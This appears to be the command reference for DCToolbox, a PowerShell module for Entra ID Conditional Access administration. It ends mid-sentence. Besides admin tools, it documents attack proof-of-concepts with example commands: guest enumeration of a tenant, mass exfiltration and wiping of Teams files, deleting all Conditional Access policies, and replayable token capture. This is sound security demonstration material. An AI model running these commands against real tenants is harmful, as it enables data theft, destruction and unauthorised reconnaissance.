+**Synopsis:** + +Connect to Microsoft Graph with the Microsoft Graph PowerShell module as a user (using delegated permissions in Graph). + +**Details:** + + + +**Parameters:** + + -Scopes + Description: The required API permission scopes (delegated permissions). Example: "Policy.ReadWrite.ConditionalAccess", "Policy.Read.All" + Required: true + +**Examples:** + + + Connect-DCMsGraphAsUser -Scopes 'Policy.ReadWrite.ConditionalAccess', 'Policy.Read.All', 'Directory.Read.All' + + Connect-DCMsGraphAsUser -Scopes 'Policy.ReadWrite.ConditionalAccess', 'Policy.Read.All', 'Directory.Read.All' -Verbose + +--- + +### Copy-DCExample + +**Synopsis:** + + +Copy-DCExample + + +**Details:** + + + +**Parameters:** + +**Examples:** + + +--- + +### Deploy-DCConditionalAccessBaselinePoC + +**Synopsis:** + +Automatically deploy the latest version of the Conditional Access policy design baseline from https://danielchronlund.com. + +**Details:** + +This CMDlet downloads the latest version of the Conditional Access policy design baseline from https://danielchronlund.com/2020/11/26/azure-ad-conditional-access-policy-design-baseline-with-automatic-deployment-support/. It creates all necessary dependencies like exclusion groups, named locations, and terms of use, and then deploys all Conditional Access policies in the baseline. + +All Conditional Access policies created by this CMDlet will be set to report-only mode. + +The purpose of this tool is to quickly deploy the complete baseline as a PoC. You can then test, pilot, and deploy it going forward. + +You must be a Global Admin to run this command (because of the admin consent required) but no other preparations are required. + +**Parameters:** + + -AddCustomPrefix + Description: Adds a custom prefix to all policy names. + Required: false + + -ExcludeGroupDisplayName + Description: Set a custom name for the break glass exclude group. Default: 'Excluded from Conditional Access'. You can set this to an existing group if you already have one. + Required: false + + -ServiceAccountGroupDisplayName + Description: Set a custom name for the service account group. Default: 'Conditional Access Service Accounts'. You can set this to an existing group if you already have one. + Required: false + + -NamedLocationCorpNetwork + Description: Set a custom name for the corporate network named location. Default: 'Corporate Network'. You can set this to an existing named location if you already have one. + Required: false + + -NamedLocationAllowedCountries + Description: Set a custom name for the allowed countries named location. Default: 'Allowed Countries'. You can set this to an existing named location if you already have one. + Required: false + + -TermsOfUseName + Description: Set a custom name for the terms of use. Default: 'Terms of Use'. You can set this to an existing Terms of Use if you already have one. + Required: false + + -SkipPolicies + Description: Specify one or more policy names in the baseline that you want to skip. + Required: false + + -SkipReportOnlyMode + Description: All Conditional Access policies created by this CMDlet will be set to report-only mode if you don't use this parameter. WARNING: Use this parameter with caution since ALL POLICIES will go live for ALL USERS when you specify this. + Required: false + +**Examples:** + + + Deploy-DCConditionalAccessBaselinePoC + + Deploy-DCConditionalAccessBaselinePoC -AddCustomPrefix 'PILOT - ' + Deploy-DCConditionalAccessBaselinePoC @Parameters + # Customize names of dependencies. + $Parameters = @{ + ExcludeGroupDisplayName = 'Excluded from Conditional Access' + ServiceAccountGroupDisplayName = 'Conditional Access Service Accounts' + NamedLocationCorpNetwork = 'Corporate Network' + NamedLocationAllowedCountries = 'Allowed Countries' + TermsOfUseName = 'Terms of Use' + } + + Deploy-DCConditionalAccessBaselinePoC -SkipPolicies "GLOBAL - BLOCK - High-Risk Sign-Ins", "GLOBAL - BLOCK - High-Risk Users", "GLOBAL - GRANT - Medium-Risk Sign-Ins", "GLOBAL - GRANT - Medium-Risk Users" + + Deploy-DCConditionalAccessBaselinePoC -SkipReportOnlyMode # WARNING: USE WITH CAUTION! + +--- + +### Enable-DCEntraIDPIMRole + +**Synopsis:** + +Activate an Entra ID Privileged Identity Management (PIM) role with PowerShell. + +**Details:** + +Uses the Graph PowerShell module to activate a user selected Entra ID role in Entra ID Privileged Identity Management (PIM). + +During activation, the user will be prompted to specify a reason for the activation. + +**Parameters:** + + -RolesToActivate + Description: This parameter is optional but if you specify it, you can select multiple roles to activate at ones. + Required: false + + -Reason + Description: Specify the reason for activating your roles. + Required: false + + -UseMaximumTimeAllowed + Description: Use this switch to automatically request maximum allowed time for all role assignments. + Required: false + +**Examples:** + + + Enable-DCEntraIDPIMRole + + Enable-DCEntraIDPIMRole -RolesToActivate 'Exchange Administrator', 'Security Reader' + + Enable-DCEntraIDPIMRole -RolesToActivate 'Exchange Administrator', 'Security Reader' -UseMaximumTimeAllowed + + Enable-DCEntraIDPIMRole -RolesToActivate 'Exchange Administrator', 'Security Reader' -Reason 'Performing some Exchange security configuration.' -UseMaximumTimeAllowed + +--- + +### Export-DCConditionalAccessPolicyDesign + +**Synopsis:** + +Export all Conditional Access policies to JSON. + +**Details:** + +This CMDlet uses Microsoft Graph to export all Conditional Access policies in the tenant to a JSON file. This JSON file can be used for backup, documentation or to deploy the same policies again with Import-DCConditionalAccessPolicyDesign. You can basically treat Conditional Access as code! + +The user running this CMDlet (the one who signs in when the authentication pops up) must have the appropriate permissions in Entra ID (Global Admin, Security Admin, Conditional Access Admin, etc). + +**Parameters:** + + -FilePath + Description: The file path where the new JSON file will be created. Skip this to use the current path. + Required: false + + -PrefixFilter + Description: Only export the policies with this prefix. + Required: false + +**Examples:** + + + Export-DCConditionalAccessPolicyDesign + + $Parameters = @{ + FilePath = 'C:\Temp\Conditional Access.json' + } + Export-DCConditionalAccessPolicyDesign @Parameters + + $Parameters = @{ + FilePath = 'C:\Temp\Conditional Access.json' + PrefixFilter = 'GLOBAL - ' + } + Export-DCConditionalAccessPolicyDesign @Parameters + +--- + +### Get-DCConditionalAccessPolicies + +**Synopsis:** + +List all Conditional Access policies in the tenant. + +**Details:** + +List all Conditional Access policies in the tenant. + +You can filter on a name prefix with -PrefixFilter. + +**Parameters:** + + -PrefixFilter + Description: Only show the policies with this prefix. + Required: false + + -ShowTargetResources + Description: Show included and excluded resources in output. Only relevant without -Details. + Required: false + + -Details + Description: Include policy details in output. + Required: false + + -NamesOnly + Description: Show names only in output. + Required: false + +**Examples:** + + + Get-DCConditionalAccessPolicies + + Get-DCConditionalAccessPolicies -PrefixFilter 'GLOBAL - ' + +--- + +### Get-DCEntraIDUsersAndGroupsAsGuest + +**Synopsis:** + +This script lets a guest user enumerate users and security groups/teams when 'Guest user access restrictions' in Entra ID is set to the default configuration. + +**Details:** + +This script is a proof of concept. Don't use it for bad things! It lets a guest user enumerate users and security groups/teams when 'Guest user access restrictions' in Entra ID is set to the default configuration. It works around the limitation that guest users must do explicit lookups for users and groups. It basically produces a list of all users and groups in the tenant, even though such actions are blocked for guests by default. + +If the target tenant allows guest users to sign in with Entra ID PowerShell, and the 'Guest user access restrictions' is set to one of these two settings: +'Guest users have the same access as members (most inclusive)' +'Guest users have limited access to properties and memberships of directory objects' [default] + +And not set to: +'Guest user access is restricted to properties and memberships of their own directory objects (most restrictive)' + +...then this script will query Entra ID for the group memberships of the specified -InterestingUsers that you already know the UPN of. It then perform nested queries until all users and groups have been found. It will stop after a maximum of 5 iterations to avoid throttling and infinite loops. "A friend of a friend of a friend..." + +Finally, the script will output one array with found users, and one array with found groups/teams. You can then export them to CSV or some other format of your choice. Export examples are outputed for your convenience. + +**Parameters:** + + -TenantId + Description: The tenant ID of the target tenant where you are a guest. You can find all your guest tenant IDs here: https://portal.azure.com/#settings/directory + Required: true + + -AccountId + Description: Your UPN in your home tenant (probably your email address, right?). + Required: true + + -InterestingUsers + Description: One or more UPNs of users in the target tenant. These will serve as a starting point for the search, and one or two employees you know about is often sufficient to enumerate everything. + Required: true + +**Examples:** + + + Get-DCEntraIDUsersAndGroupsAsGuest -TenantId '00000000-0000-0000-0000-000000000000' -AccountId 'user@example.com' -InterestingUsers 'customer1@customer.com', 'customer2@customer.com' + +--- + +### Get-DCHelp + +**Synopsis:** + + +Get-DCHelp + + +**Details:** + + + +**Parameters:** + +**Examples:** + + +--- + +### Get-DCNamedLocations + +**Synopsis:** + +List Named Locations in the tenant. + +**Details:** + +List Named Locations in the tenant. + +You can filter on a name prefix with -PrefixFilter. + +**Parameters:** + + -PrefixFilter + Description: Only show the named locations with this prefix. + Required: false + +**Examples:** + + + Get-DCNamedLocations + + Get-DCNamedLocations -PrefixFilter 'OFFICE-' + + # List all trusted IP addresses. + (Get-DCNamedLocations | where isTrusted -eq $true).ipRanges | Select-Object -Unique | Sort-Object + + # List all countries. + (Get-DCNamedLocations).countriesAndRegions | Select-Object -Unique | Sort-Object + +--- + +### Get-DCPublicIp + +**Synopsis:** + +Get current public IP address information. + +**Details:** + +Get the current public IP address and related information. The ipinfo.io API is used to fetch the information. You can use the -UseTorHttpProxy to route traffic through a running Tor network HTTP proxy that was started by Start-DCTorHttpProxy. + +**Parameters:** + + -UseTorHttpProxy + Description: Route traffic through a running Tor network HTTP proxy that was started by Start-DCTorHttpProxy. + Required: false + +**Examples:** + + + Get-DCPublicIp + + (Get-DCPublicIp).ip + + Write-Host "$((Get-DCPublicIp).city) $((Get-DCPublicIp).country)" + +--- + +### Import-DCConditionalAccessPolicyDesign + +**Synopsis:** + +Import Conditional Access policies from JSON. + +**Details:** + +This CMDlet uses Microsoft Graph to automatically create Conditional Access policies from a JSON file. + +The JSON file can be created from existing policies with Export-DCConditionalAccessPolicyDesign or manually by following the syntax described in the Microsoft Graph documentation: +https://docs.microsoft.com/en-us/graph/api/resources/conditionalaccesspolicy?view=graph-rest-1.0 + +All Conditional Access policies created by this CMDlet will be set to report-only mode if you don't use the -SkipReportOnlyMode override. + +WARNING: If you want to, you can also delete all existing policies when deploying your new ones with -DeleteAllExistingPolicies, Use this parameter with caution and always create a backup with Export-DCConditionalAccessPolicyDesign first! + +The user running this CMDlet (the one who signs in when the authentication pops up) must have the appropriate permissions in Entra ID (Global Admin, Security Admin, Conditional Access Admin, etc). + +As a best practice you should always have an Entra ID security group with break glass accounts excluded from all Conditional Access policies. + +**Parameters:** + + -FilePath + Description: The file path of the JSON file containing your Conditional Access policies. + Required: true + + -SkipReportOnlyMode + Description: All Conditional Access policies created by this CMDlet will be set to report-only mode if you don't use this parameter. + Required: false + + -DeleteAllExistingPolicies + Description: WARNING: If you want to, you can delete all existing policies when deploying your new ones with -DeleteAllExistingPolicies, Use this parameter with causon and allways create a backup with Export-DCConditionalAccessPolicyDesign first!! + Required: false + + -AddCustomPrefix + Description: Adds a custom prefix to all policy names. + Required: false + + -PrefixFilter + Description: Only import (and delete) the policies with this prefix in the JSON file. + Required: false + +**Examples:** + + Import-DCConditionalAccessPolicyDesign @Parameters + $Parameters = @{ + FilePath = 'C:\Temp\Conditional Access.json' + SkipReportOnlyMode = $false + DeleteAllExistingPolicies = $false + } + Import-DCConditionalAccessPolicyDesign @Parameters + $Parameters = @{ + FilePath = 'C:\Temp\Conditional Access.json' + SkipReportOnlyMode = $false + DeleteAllExistingPolicies = $false + AddCustomPrefix = 'PILOT - ' + } + Import-DCConditionalAccessPolicyDesign @Parameters + $Parameters = @{ + FilePath = 'C:\Temp\Conditional Access.json' + SkipReportOnlyMode = $true + DeleteAllExistingPolicies = $true + PrefixFilter = 'GLOBAL - ' + } + +--- + +### Install-DCMicrosoftGraphPowerShellModule + +**Synopsis:** + +Check, install, and update the Microsoft Graph PowerShell module. + +**Details:** + + + +**Parameters:** + +**Examples:** + + + Install-DCMicrosoftGraphPowerShellModule + + Install-DCMicrosoftGraphPowerShellModule -Verbose + +--- + +### Install-DCToolbox + +**Synopsis:** + +Check, install, and update the DCToolbox PowerShell module. + +**Details:** + + + +**Parameters:** + +**Examples:** + + + Install-DCToolbox + + Install-DCToolbox -Verbose + +--- + +### Invoke-DCConditionalAccessSimulation + +**Synopsis:** + +Simulates the Entra ID Conditional Access evaluation process of a specific scenario. + +**Details:** + +Uses Microsoft Graph to fetch all Entra ID Conditional Access policies. It then evaluates which policies that would have been applied if this was a real sign-in to Entra ID. Use the different parameters available to specify the conditions. Details are included under each parameter. + +**Parameters:** + + -JSONFile + Description: Only use this parameter if you want to analyze a local JSON file export of Conditional Access polices, instead of a live tenant. Point it to the local JSON file. Export JSON with Export-DCConditionalAccessPolicyDesign (or any other tool exporting Conditional Access policies from Microsoft Graph to JSON), like 'Entra Exporter'. + Required: false + + -UserPrincipalName + Description: The UPN of the simulated Entra ID user signing in. Can also be set to 'All' for all users, or 'GuestsOrExternalUsers' to test external user sign-in scenarios. Example: 'user@example.com'. Default: 'All'. + Required: false + + -ApplicationDisplayName + Description: The display name of the application targeted by Conditional Access policies (same display name as in Entra ID Portal when creating Conditional Access policies). Example 1: 'Office 365'. Example 2: 'Microsoft Admin Portals'. Default: 'All'. + Required: false + + -UserAction + Description: Under construction... + Required: false + + -ClientApp + Description: The client app type used during sign-in. Possible values: 'browser', 'mobileAppsAndDesktopClients', 'exchangeActiveSync', 'easSupported', 'other'. Default: 'browser' + Required: false + + -TrustedIPAddress + Description: Specify if the simulated sign-in comes from a trusted IP address (marked as trusted in Named Locations)? $true or $false? Don't specify the actual IP address. That is not really that important when simulating policy evaluation. Default: $false + Required: false + + -Country + Description: The country code for the sign-in country of origin based on IP address geo data. By default, this script tries to resolve the IP address of the current PowerShell session. + Required: false + + -Platform + Description: Specify the OS platform of the client signing in. Possible values: 'all', 'android', 'iOS', 'windows', 'windowsPhone', 'macOS', 'linux', 'spaceRocket'. Default: 'windows' + Required: false + + -SignInRiskLevel + Description: Specify the Entra ID Protection sign-in risk level. Possible values: 'none', 'low', 'medium', 'high'. Default: 'none' + Required: false + + -UserRiskLevel + Description: Specify the Entra ID Protection user risk level. Possible values: 'none', 'low', 'medium', 'high'. Default: 'none' + Required: false + + -SummarizedOutput + Description: By default, this script returns PowerShell objects representing all applied Conditional Access policies only. This can be used for piping to other tools, etc. But sometimes you also want a simple answer of what would happen during the simulated policy evaluation. Specify this parameter to add a summarized and simplified output (outputs to 'Informational' stream with Write-Host). + Required: false + + -VerbosePolicyEvaluation + Description: Include detailed verbose policy evaluation info. Use for troubleshooting and debugging. + Required: false + + -IncludeNonMatchingPolicies + Description: Also, include all policies that did not match, and therefor was not applied. This can be useful to produce different kinds of Conditional Access reports. + Required: false + +**Examples:** + + + # Run basic evaluation with default settings. + Invoke-DCConditionalAccessSimulation | Format-List + Invoke-DCConditionalAccessSimulation @Parameters + # Run evaluation with custom settings. + $Parameters = @{ + UserPrincipalName = 'user@example.com' + ApplicationDisplayName = 'Office 365' + ClientApp = 'mobileAppsAndDesktopClients' + TrustedIPAddress = $true + Country = 'US' + Platform = 'windows' + SignInRiskLevel = 'medium' + UserRiskLevel = 'high' + SummarizedOutput = $true + VerbosePolicyEvaluation = $false + IncludeNonMatchingPolicies = $false + } + + # Run basic evaluation offline against a JSON of Conditional Access policies. + Invoke-DCConditionalAccessSimulation -JSONFile 'Conditional Access Backup.json' | Format-List + +--- + +### Invoke-DCEntraIDDeviceAuthFlow + +**Synopsis:** + +Get a refresh token (or access token) from Entra ID using device code flow. + +**Details:** + +This CMDlet will start a device code flow authentication process in Entra ID. Go to the provided URL and enter the code to authenticate. The script will wait for the authentication and then return the refresh token, and also copy it to the clipboard. + +A refresh token fetched by this tool can be replayed on another device. + +**Parameters:** + + -ShowTokenDetails + Description: Add this parameter if you want to display the token details on successful authentication. + Required: false + + -ReturnAccessTokenInsteadOfRefreshToken + Description: Return an access token instead of a refresh token. + Required: false + + -ClientID + Description: OPTIONAL: Specify the client ID for which a refresh token should be requested. Defaults to 'Microsoft Azure PowerShell' (1950a258-227b-4e31-a9cf-717495945fc2). If you set this parameter, you must also specify -TenantID. Note that the app registration in Entra ID must have device code flow enabled under Authentication > Advanced settings. + Required: false + + -TenantID + Description: OPTIONAL: Specify your tenant ID. You only need to specify this if you're specifying a ClientID with -ClientID. This is because Microsoft needs to now in which tenant a specific app is located. + Required: false + +**Examples:** + + + Invoke-DCEntraIDDeviceAuthFlow + + $RefreshToken = Invoke-DCEntraIDDeviceAuthFlow + + Invoke-DCEntraIDDeviceAuthFlow -ShowTokenDetails + + Invoke-DCEntraIDDeviceAuthFlow -ClientID '' -TenantID '' + +--- + +### Invoke-DCHuntingQuery + +**Synopsis:** + +Connect to Microsoft Graph with the Microsoft Graph PowerShell module and run a KQL hunting query in Microsoft Defender XDR. + +**Details:** + +Connect to Microsoft Graph with the Microsoft Graph PowerShell module and run a KQL hunting query in Microsoft Defender XDR. + +**Parameters:** + + -Query + Description: The KQL query you want to run in Microsoft Defender XDR. + Required: true + + -IncludeKQLQueryAtTop + Description: + Required: false + + -IncludeRaw + Description: Include the raw formated and escaped KQL query sent to Microsoft Graph. + Required: false + +**Examples:** + + Invoke-DCHuntingQuery -Query $Query + $Query = @' + DeviceEvents + | where ActionType startswith "Asr" + | summarize count() by ActionType + | order by count_ + '@ + Invoke-DCHuntingQuery -Query $Query -IncludeKQLQueryAtTop + $Query = @' + DeviceEvents + | where ActionType startswith "Asr" + | summarize count() by ActionType + | order by count_ + '@ + +--- + +### Invoke-DCM365DataExfiltration + +**Synopsis:** + +This script uses an Entra ID app registration to download all files from all M365 groups (Teams) document libraries in a tenant. + +**Details:** + +This script is a proof of concept and for testing purposes only. Do not use this script in an unethical or unlawful way. Don’t be stupid! + +This script showcase how an attacker can exfiltrate huge amounts of files from a Microsoft 365 tenant, using a poorly protected Entra ID app registration with any of the following Microsoft Graph permissions: + +- Files.Read.All +- Files.ReadWrite.All +- Sites.Read.All +- Sites.ReadWrite.All + +Also, one of the following permissions is required to enumerate M365 groups and SharePoint document libraries: + +- GroupMember.Read.All +- Group.Read.All +- Directory.Read.All +- Group.ReadWrite.All +- Directory.ReadWrite.All + +The script will loop through all M365 groups and their SharePoint Online document libraries (used by Microsoft Teams for storing files) and download all files it can find, down to three folder levels. The files will be downloaded to the current directory. + +A list of downloaded files will be copied to the clipboard after completion. + +You can run the script with -WhatIf to skip the actual downloads. It will still show the output and what would have been downloaded. + +**Parameters:** + + -ClientID + Description: Client ID for your Entra ID application. + Required: true + + -ClientSecret + Description: Client secret for the Entra ID application. + Required: true + + -TenantName + Description: The name of your tenant (example.onmicrosoft.com). + Required: true + + -WhatIf + Description: Skip the actual downloads. It will still show the output and what would have been downloaded. + Required: false + +**Examples:** + + + Invoke-M365DataExfiltration -ClientID '8a85d2cf-17c7-4ecd-a4ef-05b9a81a9bba' -ClientSecret 'j[BQNSi29Wj4od92ritl_DHJvl1sG.Y/' -TenantName 'example.onmicrosoft.com' + + Invoke-M365DataExfiltration -ClientID '8a85d2cf-17c7-4ecd-a4ef-05b9a81a9bba' -ClientSecret 'j[BQNSi29Wj4od92ritl_DHJvl1sG.Y/' -TenantName 'example.onmicrosoft.com' -WhatIf + +--- + +### Invoke-DCM365DataWiper + +**Synopsis:** + +This script uses an Entra ID app registration to wipe all files from all M365 groups (Teams) document libraries in a tenant. + +**Details:** + +This script is a proof of concept and for testing purposes only. Do not use this script in an unethical or unlawful way. Don’t be stupid! + +This script showcase how an attacker can wipe huge amounts of files from a Microsoft 365 tenant, using a poorly protected Entra ID app registration with any of the following Microsoft Graph permissions: + +- Files.ReadWrite.All +- Sites.ReadWrite.All + +Also, one of the following permissions is required to enumerate M365 groups and SharePoint document libraries: + +- GroupMember.Read.All +- Group.Read.All +- Directory.Read.All +- Group.ReadWrite.All +- Directory.ReadWrite.All + +The script will loop through all M365 groups and their SharePoint Online document libraries (used by Microsoft Teams for storing files) and delete all files it can find, down to three folder levels. The files will be downloaded to the current directory. + +A list of downloaded files will be copied to the clipboard after completion. + +You can run the script with -WhatIf to skip the actual deletion. It will still show the output and what would have been deleted. + +**Parameters:** + + -ClientID + Description: Client ID for your Entra ID application. + Required: true + + -ClientSecret + Description: Client secret for the Entra ID application. + Required: true + + -TenantName + Description: The name of your tenant (example.onmicrosoft.com). + Required: true + + -WhatIf + Description: Skip the actual deletion. It will still show the output and what would have been deleted. + Required: false + +**Examples:** + + + Invoke-DCM365DataWiper -ClientID '8a85d2cf-17c7-4ecd-a4ef-05b9a81a9bba' -ClientSecret 'j[BQNSi29Wj4od92ritl_DHJvl1sG.Y/' -TenantName 'example.onmicrosoft.com' + + Invoke-DCM365DataWiper -ClientID '8a85d2cf-17c7-4ecd-a4ef-05b9a81a9bba' -ClientSecret 'j[BQNSi29Wj4od92ritl_DHJvl1sG.Y/' -TenantName 'example.onmicrosoft.com' -WhatIf + +--- + +### Invoke-DCMsGraphQuery + +**Synopsis:** + +Run a Microsoft Graph query. + +**Details:** + +This CMDlet will run a query against Microsoft Graph and return the result. It will connect using an access token generated by Connect-DCMsGraphAsDelegated or Connect-DCMsGraphAsApplication (depending on what permissions you use in Graph). + +Before running this CMDlet, you first need to register a new application in your Entra ID according to this article: +https://danielchronlund.com/2018/11/19/fetch-data-from-microsoft-graph-with-powershell-paging-support/ + +**Parameters:** + + -AccessToken + Description: An access token generated by Connect-DCMsGraphAsDelegated or Connect-DCMsGraphAsApplication (depending on what permissions you use in Graph). + Required: true + + -GraphMethod + Description: The HTTP method for the Graph call, like GET, POST, PUT, PATCH, DELETE. Default is GET. + Required: false + + -GraphUri + Description: The Microsoft Graph URI for the query. Example: https://graph.microsoft.com/v1.0/users/ + Required: true + + -GraphBody + Description: The request body of the Graph call. This is often used with methids like POST, PUT and PATCH. It is not used with GET. + Required: false + +**Examples:** + + + Invoke-DCMsGraphQuery -AccessToken $AccessToken -GraphMethod 'GET' -GraphUri 'https://graph.microsoft.com/v1.0/users/' + +--- + +### New-DCConditionalAccessAssignmentReport + +**Synopsis:** + +Automatically generate an Excel report containing your current Conditional Access assignments. + +**Details:** + +Uses Microsoft Graph to fetch all Conditional Access policy assignments, both group- and user assignments (for now, it doesn't support role assignments). It exports them to Excel in a nicely formatted report for your filtering and analysing needs. If you include the -IncludeGroupMembers parameter, members of assigned groups will be included in the report as well (of course, this can produce very large reports if you have included large groups in your policy assignments). + +The purpose of the report is to give you an overview of how Conditional Access policies are currently applied in an Entra ID tenant, and which users are targeted by which policies. + +The report does not include information about the policies themselves. Use New-DCConditionalAccessPolicyDesignReport for that task. + +The CMDlet also uses the PowerShell Excel Module for the export to Excel. You can install this module with: +Install-Module ImportExcel -Force + +The report is exported to Excel and will automatically open. In Excel, please do this: +1. Select all cells. +2. Click on "Wrap Text". +3. Click on "Top Align". + +The report is now easier to read. + +More information can be found here: https://danielchronlund.com/2020/10/20/export-your-conditional-access-policy-assignments-to-excel/ + +**Parameters:** + + -IncludeGroupMembers + Description: If you include the -IncludeGroupMembers parameter, members of assigned groups will be included in the report as well (of course, this can produce a very large report if you have included large groups in your policy assignments). + Required: false + +**Examples:** + + + New-DCConditionalAccessAssignmentReport + + New-DCConditionalAccessAssignmentReport -IncludeGroupMembers + +--- + +### New-DCConditionalAccessPolicyDesignReport + +**Synopsis:** + +Automatically generate an Excel report containing your current Conditional Access policy design. + +**Details:** + +Uses Microsoft Graph to fetch all Conditional Access policies and exports an Excel report, You can use the report as documentation, design document, or to get a nice overview of all your policies. + +The CMDlet also uses the PowerShell Excel Module for the export to Excel. You can install this module with: +Install-Module ImportExcel -Force + +The report is exported to Excel and will automatically open. In Excel, please do this: +1. Select all cells. +2. Click on "Wrap Text". +3. Click on "Top Align". + +The report is now easier to read. + +The user running this CMDlet (the one who signs in when the authentication pops up) must have the appropriate permissions in Entra ID (Global Admin, Security Admin, Conditional Access Admin, etc). + +**Parameters:** + +**Examples:** + + + New-DCConditionalAccessPolicyDesignReport + +--- + +### New-DCEntraIDAppPermissionsReport + +**Synopsis:** + +Generate a report containing all Entra ID Enterprise Apps and App Registrations with API permissions (application permissions only) in the tenant. + +**Details:** + +Uses Microsoft Graph to fetch all Entra ID Enterprise Apps and App Registrations with API permissions (application permissions only) and generate a report. The report includes app names, API permissions, secrets/certificates, and app owners. + +The purpose is to find vulnerable applications and API permissions in Entra ID. + +Applications marked with 'AppHostedInExternalTenant = False' also has a corresponding App Registration in this tenant. This means that App Registration Owners has the same permissions as the application. + +**Parameters:** + +**Examples:** + + + # Get all API application permissions assigned to applications in tenant. + New-DCEntraIDAppPermissionsReport + + # Look for sensitive permissions. + $Result = New-DCEntraIDAppPermissionsReport + $Result | where RoleName -in 'RoleManagement.ReadWrite.Directory', 'Application.ReadWrite.All', 'AppRoleAssignment.ReadWrite.All' + + # Export report to Excel for further filtering and analysis. + $Result = New-DCEntraIDAppPermissionsReport + $Path = "$((Get-Location).Path)\Entra ID Enterprise Apps Report $(Get-Date -Format 'yyyy-MM-dd').xlsx" + $Result | Export-Excel -Path $Path -WorksheetName "Enterprise Apps" -BoldTopRow -FreezeTopRow -AutoFilter -AutoSize -ClearSheet -Show + +--- + +### New-DCEntraIDStaleAccountReport + +**Synopsis:** + +Automatically generate an Excel report containing all stale Entra ID accounts. + +**Details:** + +Uses Microsoft Graph to fetch all Entra ID users who has not signed in for a specific number of days, and exports an Excel report. Some users might not have a last sign-in timestamp at all (maybe they didn't sign in or maybe they signed in a very long time ago), but they are still included in the report. + +Before running this CMDlet, you first need to register a new application in your Entra ID according to this article: +https://danielchronlund.com/2018/11/19/fetch-data-from-microsoft-graph-with-powershell-paging-support/ + +The following Microsoft Graph API permissions are required for this script to work: + Directory.Read.All + AuditLog.Read.All + +The CMDlet also uses the PowerShell Excel Module for the export to Excel. You can install this module with: +Install-Module ImportExcel -Force + +Also, the user running this CMDlet (the one who signs in when the authentication pops up) must have the appropriate permissions in Entra ID (Global Admin, Global Reader, Security Admin, Security Reader, etc). + +**Parameters:** + + -ClientID + Description: Client ID for the Entra ID application with Microsoft Graph permissions. + Required: true + + -ClientSecret + Description: Client secret for the Entra ID application with Microsoft Graph permissions. + Required: true + + -LastSeenDaysAgo + Description: Specify the number of days ago the account was last seen. Note that you can only see as long as your Entra ID sign-in logs reach (30 days by default). + Required: false + + -OnlyMembers + Description: Only include member accounts (no guest accounts) in the report. + Required: false + + -OnlyGuests + Description: Only include guest accounts (no member accounts) in the report. + Required: false + + -IncludeMemberOf + Description: Add a column with all group/teams memberships. + Required: false + +**Examples:** + + New-DCEntraIDStaleAccountReport @Parameters + + + $Parameters = @{ + ClientID = '' + ClientSecret = '' + LastSeenDaysAgo = 10 + OnlyGuests = $true + IncludeMemberOf = $true + } + New-DCEntraIDStaleAccountReport @Parameters + $Parameters = @{ + ClientID = '' + ClientSecret = '' + LastSeenDaysAgo = 30 + } + +--- + +### Remove-DCConditionalAccessPolicies + +**Synopsis:** + +Delete ALL Conditional Access policies in a tenant. + +**Details:** + +This script is a proof of concept and for testing purposes only. Do not use this script in an unethical or unlawful way. Don’t be stupid! + +This CMDlet uses Microsoft Graph to automatically delete all Conditional Access policies in a tenant. It was primarily created to clean-up lab tenants, and as an attack PoC. + +This CMDlet will prompt you for confirmation multiple times before deleting policies. + +**Parameters:** + + -PrefixFilter + Description: Only delete the policies with this prefix. + Required: false + +**Examples:** + + + Remove-DCConditionalAccessPolicies + + Remove-DCConditionalAccessPolicies -PrefixFilter 'TEST - ' + +--- + +### Rename-DCConditionalAccessPolicies + +**Synopsis:** + +Rename Conditional Access policies that matches a specific prefix. + +**Details:** + +This command helps you to quickly rename a bunch of Conditional Access policies by searching for a specific prefix. + +If you dontt specify a PrefixFilter, ALL policies will be modified to include the new prefix . + +**Parameters:** + + -PrefixFilter + Description: Only toggle the policies with this prefix. + Required: false + + -AddCustomPrefix + Description: Adds a custom prefix to all policy names. + Required: true + +**Examples:** + + + Rename-DCConditionalAccessPolicies -PrefixFilter 'PILOT - ' -AddCustomPrefix 'PROD - ' + + Rename-DCConditionalAccessPolicies -PrefixFilter 'GLOBAL - ' -AddCustomPrefix 'REPORT - GLOBAL - ' + + Rename-DCConditionalAccessPolicies -AddCustomPrefix 'OLD - ' + +--- + +### Set-DCConditionalAccessPoliciesPilotMode + +**Synopsis:** + +Toggles Conditional Access policies between 'All users' and a specified pilot group. + +**Details:** + +This command helps you to quickly toggle you Conditional Access policies between a pilot and production. It does this by switching policies targeting a specified pilot group and 'All users'. + +It is common to use a dedicated Entra ID security group to target specific pilot users during a Conditional Access deployment project. When the pilot is completed you want to move away from that pilot group and target 'All users' in the organization instead (at least with your global baseline). + +You must filter the toggle with a prefix filter to only modify specific policies. Use a prefix like "GLOBAL -" or "PILOT -" for easy bulk management. This is a built-in safety measure. + +**Parameters:** + + -PrefixFilter + Description: Only toggle the policies with this prefix. + Required: true + + -PilotGroupName + Description: The name of your pilot group in Entra ID (must be a security group for users). + Required: true + + -EnablePilot + Description: Modify all specified Conditional Access policies to target your pilot group. + Required: false + + -EnableProduction + Description: Modify all specified Conditional Access policies to target 'All users'. + Required: false + +**Examples:** + + + Set-DCConditionalAccessPoliciesPilotMode -PrefixFilter 'GLOBAL - ' -PilotGroupName 'Conditional Access Pilot' -EnablePilot + + Set-DCConditionalAccessPoliciesPilotMode -PrefixFilter 'GLOBAL - ' -PilotGroupName 'Conditional Access Pilot' -EnableProduction + +--- + +### Set-DCConditionalAccessPoliciesReportOnlyMode + +**Synopsis:** + +Toggles Conditional Access policies between 'Report-only' and Enabled. + +**Details:** + +This command helps you to quickly toggle you Conditional Access policies between Report-only and Enabled. + +If will skip any policies in Disabled state. + +You must filter the toggle with a prefix filter to only modify specific policies. This is a built-in safety measure. + +**Parameters:** + + -PrefixFilter + Description: Only toggle the policies with this prefix. + Required: true + + -SetToReportOnly + Description: Modify all specified Conditional Access policies to report-only. + Required: false + + -SetToEnabled + Description: Modify all specified Conditional Access policies to Enabled. + Required: false + +**Examples:** + + + Set-DCConditionalAccessPoliciesReportOnlyMode -PrefixFilter 'GLOBAL - ' -SetToReportOnly + + Set-DCConditionalAccessPoliciesReportOnlyMode -PrefixFilter 'GLOBAL - ' -SetToEnabled + +--- + +### Start-DCTorHttpProxy + +**Synopsis:** + +Start a Tor network HTTP proxy for anonymous HTTP calls via PowerShell. + +**Details:** + +Start a Tor network HTTP proxy that can be used for anonymization of HTTP traffic in PowerShell. Requires proxy support in the PowerShell CMDlet you want to anonymise. Many of the tools included in DCToolbox supports this. + +Start the proxy: +Start-DCTorHttpProxy + +The proxy will launch in a new PowerShell window that you can minimize. + +You can test it out (and find your currentn Tor IP address and location) with: +Get-DCPublicIp -UseTorHttpProxy + +For other 